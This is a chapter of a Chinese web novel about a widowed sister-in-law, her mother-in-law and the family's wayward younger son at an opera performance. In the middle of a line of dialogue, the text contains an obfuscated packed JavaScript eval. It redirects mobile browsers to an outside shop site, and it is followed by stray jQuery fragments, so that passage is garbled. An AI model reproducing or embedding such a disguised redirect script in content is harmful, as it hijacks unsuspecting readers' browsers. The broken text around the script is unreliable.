文趣网 > 其他小说 > 成为纨绔的命硬寡嫂后 > 14. 入戏
    河州的天气说变就变,前几日天色还是雾蒙蒙的,还沾了一些透进骨子里的阴冷,今日反倒出了大太阳,一扫前几日的微冷,出门前要穿的衣裳也轻薄了许多,确实有几分春日出游的意趣了。

    闻晏安先行,余下徐真和随予荇同乘一辆马车往凤鸣楼去。

    徐真坐在面朝车帘的软榻上,随予荇贴着她坐在左边的软榻,对面则坐着夏绿和冬序。宣平侯府的马车虽然宽阔,可四人同乘一辆马车,却让随予荇觉得浑身不自在。大约是坐在徐真身侧,心里觉得空间逼狭,不及自己同冬序出门自在。

    沉默的此刻,随予荇挂着浅笑的嘴角已然僵硬。

    在长辈面前总不好冷着脸,让人觉得是在摆脸色,不然前几日经营的好面目便有崩塌的迹象了。

    “阿云。”徐真捏着帕子轻轻摩挲手背,看向随予荇时,见她有些失神,便开口同她说话:“可是还未睡够,有些困乏?若是困了,可以靠着软枕闭眼补补眠,凤鸣楼的戏应该也没这么快开场,也不知道明升怎么出门这么早?”

    随予荇摇摇头,伸掌揉了揉下巴,道:“母亲,我没事,缓缓便好了。兴许是二公子觉着我梳妆拖沓,等不及便先走了。”

    徐真笑笑点头,表示认可她的话:“我这儿子,确实是一个耐心不足的人物。小时候每回带他出门,离出门还有两个时辰,他便已经等在我屋外催我梳妆更衣了,如今大一些了,耐性比从前好一些了,不会再催我们快些了,反倒是一声不响地自己先走了。”

    随予荇弯弯唇角,算是附和她。

    夏绿笑道:“夫人,二公子现下等您和少夫人没耐心,待他日后娶了新妇,二公子想没耐心,怕新夫人也不允呢!”

    徐真被夏绿这番话逗笑,伸手指了指她,“你这丫头,惯是会说笑的。明升的心性还未定下来,前几日还同我说,满河州的姑娘都没有能入他眼的,我看,是没有一个姑娘敢嫁给他这样的混世魔王,他怕掉了面子,才在我面前这么说的。”

    夏绿道:“夫人若将二公子比作魔王,那也好办,日后寻个魔女来同二公子斗法便是了。”

    徐真扑哧笑出声来,又用帕子按了按眼角,“好了,不许再说了,再说我便笑得直不起腰了。”

    随予荇在一边听着,也真心实意笑了一声。

    说笑间,凤鸣楼到了。

    夏绿和冬序一前一后下了马车,将徐真和随予荇稳稳当当地扶下来。

    门口的小厮快步上前,毕恭毕敬地将她们迎进去。

    “见过侯夫人,少夫人,二公子已经在包厢等着了,请二位随我来。”

    进了凤鸣楼,一股清爽的凉意便扑面而来。原是通风的南边开了几扇小窗,将外面的凉风带进来。鞋底擦过的青玉地板被擦得锃亮发光,幽幽地吐着温润的凉意。

    小厮知道她们是贵客,特意引她们穿过一楼走廊,往西侧长屏遮挡后的楼梯去。走向楼梯的那一段路新摆着种着几棵低矮的芭蕉的大花盆,巧妙地挡住入厅的光,将人柔柔地蔽在芭蕉的阴影里,光是看见这翠色,心里便隐隐觉得清凉了。

    登上二楼,穿过铺着长长的暗色花纹地毯的走廊中央,便看见候在包厢门口的长顺了。

    长顺躬着身子,将门推开:“夫人,少夫人请。”

    门口正对着一扇雕花木窗,窗页半开着,对着楼下戏台,果然是个看戏的好位子。

    八仙桌上已经摆好一把青玉茶壶配着几只青玉茶盏和糕点果品,轻轻嗅闻,便知道茶壶里泡的是明前龙井茶。

    落座后,徐真发现包厢里不见闻晏安的身影,便问长顺:“明升去哪里了?你不是同他一道来的吗?”

    长顺垂着头,答:“回夫人,二公子方才在邻近撞见了李家公子,说同李公子说几句话便回来,让夫人和少夫人安坐。”

    徐真点点头又嘀咕道:“这俩孩子,几乎天天见,怎么有那么多说不完的话?”

    长顺暗自捏了一把汗,呲着牙道:“二公子同李公子一向交好,兴许是李公子又得了新奇玩意,见了公子,便迫不及待要给他看。”

    随予荇将蒲临水给他的册子读得滚瓜烂熟,早已知晓长顺口中的李公子是何方人物。能跟闻晏安玩到一块去的,大多都是同他大差不差的人物,心思简单,也是个花钱不手软的公子哥。

    只是看如今的状况,他想必同闻晏安一般,将她视作洪水猛兽,不遭他白眼就已经很好了,能从他嘴里套出什么话。

    “今日到凤鸣楼里看戏的人也不少,看来演这出新戏的人,应当是有些真功夫在的。”徐真侧目,往下稍稍扫了一眼,看见陆陆续续有人走进凤鸣楼。

    夏绿在一旁道:“二公子是看戏的行家,他说好,那必然是好的。”

    等了一刻钟,开场的锣声如约而至。

    闻晏安还是没回来,徐真摆摆手,让长顺不必去催,待他同李阔寒暄后,自会回来。

    今日演的是紫钗记里李益与霍小玉灯会相遇的一场戏。只听锣鼓声减弱,从侧幕走出个扮相俊逸,戴着文生巾的小生,被斜斜吊起的眉眼尽显英气,上挑的眼睛含着流转的水光,不显柔和,倒有种意气风发的少年之气。

    慢板渐入,李益漫步长街,水袖轻甩,活脱脱一个倜傥少年。忽而,他的脚步止了,在空中一抓,似将一支钗子捏在手中,小心翼翼地往手心里收紧。

    正当此时,一位穿着湖水绿衣裳的女子匆匆走近,肩上的水红色云肩坠下的珠子也随她的步幅四处晃动。她素手芊芊,用帕子抚上桃花面,看见李益站在树旁,顿时呆愣了。

    李益看见霍小玉的身影,神情一滞,连带着手中握着的钗子也松脱了。四目相对间,霍小玉率先回神,看见了李益手中的簪子,缓步上前,柔柔开腔唱。

    李益见她要自己还钗,李益甩了甩头发,将钗子轻轻藏到身后,推说让媒人归还。

    霍小玉以水袖掩面,掩住红粉的胭脂,只露出一双羞怯的眉目。推说间,李益和霍小玉二人齐唱,语调婉转动人,尽显郎情妾意。

    随予荇对这类痴男怨女的戏码无感,可又不好扫了大家看戏的兴致,也一道往窗外看,不过不是看戏台上的李益和霍小玉,而是去看戏台下形形色色的看客。

    台下的人看得入神,有看得目瞪口呆的,有拿帕子揩泪的,还有打着拍子跟着唱词浅吟的。随予荇置身其中,倒显得有些格格不入了。

    “怎么样?台上李益扮相的小生是不是长得很俊秀?”

    闻晏安不知道什么时候悄悄回来了,在随予荇和徐真中探出一颗脑袋。

    徐真看戏看得正入迷,突然被他吓了一跳,伸手抚了抚胸口,道:“你还舍得回来,请我们来看戏,却见不着人影。”

    闻晏安笑嘻嘻从果盘里捡了一颗李子,扔进嘴里,嚼了嚼,鼓着腮帮子道:“李阔早上收了一副古画,碰见我便让我去看看。我还没看几眼,他便急着炫耀这幅画有多难得了,我怕他被人骗了,便帮他细看了看,这才耽误了些时间。”

    “阿娘,台上演李益的小生不过来演了几场,如今可成了凤鸣楼的台柱子,您瞧这

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17864146|212138||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    楼下,有不少姑娘都是冲着他的名气来的。我看,果然是长得一张好脸,虽然上了脂粉,却不难看出他的好底子,果然演出了李益的倜傥公子模样。”

    徐真笑道:“你是来看戏,还是来看人的?演李益的小生固然俊秀,但若没有扎实的唱功身段,又有谁会买他的账?”

    闻晏安摇摇头:“阿娘说得有理,可我看冲着他来的人,眼珠子都锁在他身上了,都没人去看霍小玉了。霍小玉扮相的花旦也不比他差。”

    “秦姑娘,你说是与不是?”

    随予荇对上闻晏安一双似笑非笑的眼睛,冷冷道:“母亲说的是,一张好脸迟早也有衰老的一日,唱戏还是得有真才实学。”

    闻晏安缩了缩脖子,听出了她指桑骂槐之意,微微怒道:“你在骂我。”

    随予荇捋了捋两鬓的发丝,直直盯着他,无辜道:“是二公子问我的,我不过就事论事罢了。”

    徐真听见他们的争吵,也没有看戏的心思了,忙从中打圆场,“你嫂子说的同我说的一样,怎么好端端又惹到你了,看戏,便好好看。”

    闻晏安撇撇嘴,哼一声,又将气咽回去。

    一场戏看毕,赢得满场喝彩。随予荇看得有些困倦,听到喝彩声后,知道唱的戏结束了,立刻提起精神,也随之鼓掌。

    闻晏安问:“阿娘,今日的戏如何?”

    徐真赞道:“不错,这出紫钗记唱得真好,真是后生可畏啊!”

    闻晏安又笑了笑:“阿娘若是喜欢,下回我们再来看便是。”

    才说完话,门外便响起敲门声。

    长顺推门去看,只见是李阔来了。

    李阔笑盈盈地走进来,给徐真行礼:“夫人。”

    徐真见他来了,以为李阔来约闻晏安换个地方玩乐,便问:“怎么,你们又想去哪里玩?”

    “非也非也。”李阔堆笑道:“夫人,我前几日在丹凤楼附近的铺子收了一只大花瓶,说是一百年的老古董,明升拿不准主意,说您才是行家,想请您过去帮我掌掌眼,看看这花樽是真是假。花樽太大了,我收在我常去的包厢里,不便移动,若夫人不嫌烦,还情移步去帮我看看。”

    徐真合了茶盖,扫了他一眼:“从前没听明升说你喜欢收集老物件,怎么突然有兴致了?”

    李阔挠了挠脑袋,不好意思道:“我爹说我一天到晚只会玩乐,什么也不会。我就想着学学鉴赏古物,若是开了窍,二次卖出去也能挣些钱,可不能让我爹小瞧了我。”

    徐真见他像是要洗心革面般,立时便应了。

    闻晏安见李阔领着徐真出门了,也不忘安排仍坐着的随予荇,“你耐心等一阵,坐这里休息一下,待会儿我们便回来了。”

    随予荇点点头,也没有要跟着去自讨没趣的意思。

    见随予荇应了他,闻晏安又转而去吩咐冬序,“我在醉仙楼订了菜,你同长顺一齐取回来,等会带回去吃。”

    怕随予荇不肯放人,闻晏安又道:“我订了十几道菜,长顺一人应当拿不过来,冬序细心些,能帮我在一旁盯着长顺,我怕长顺手忙脚乱打翻了菜,费了我的银子。”

    长顺抿着嘴,不敢说什么。

    随予荇点点头,示意冬序跟着一道去。

    亲眼送走了长顺和冬序后,闻晏安向门口的小厮使了个眼色,便合了门大步流星地离开了。

    随予荇稍稍偏头透过窗户望去,发觉门口的小厮也在往里张望。

    她浅浅地呼出一口气,待外面的脚步声远了,又起身将门推开了。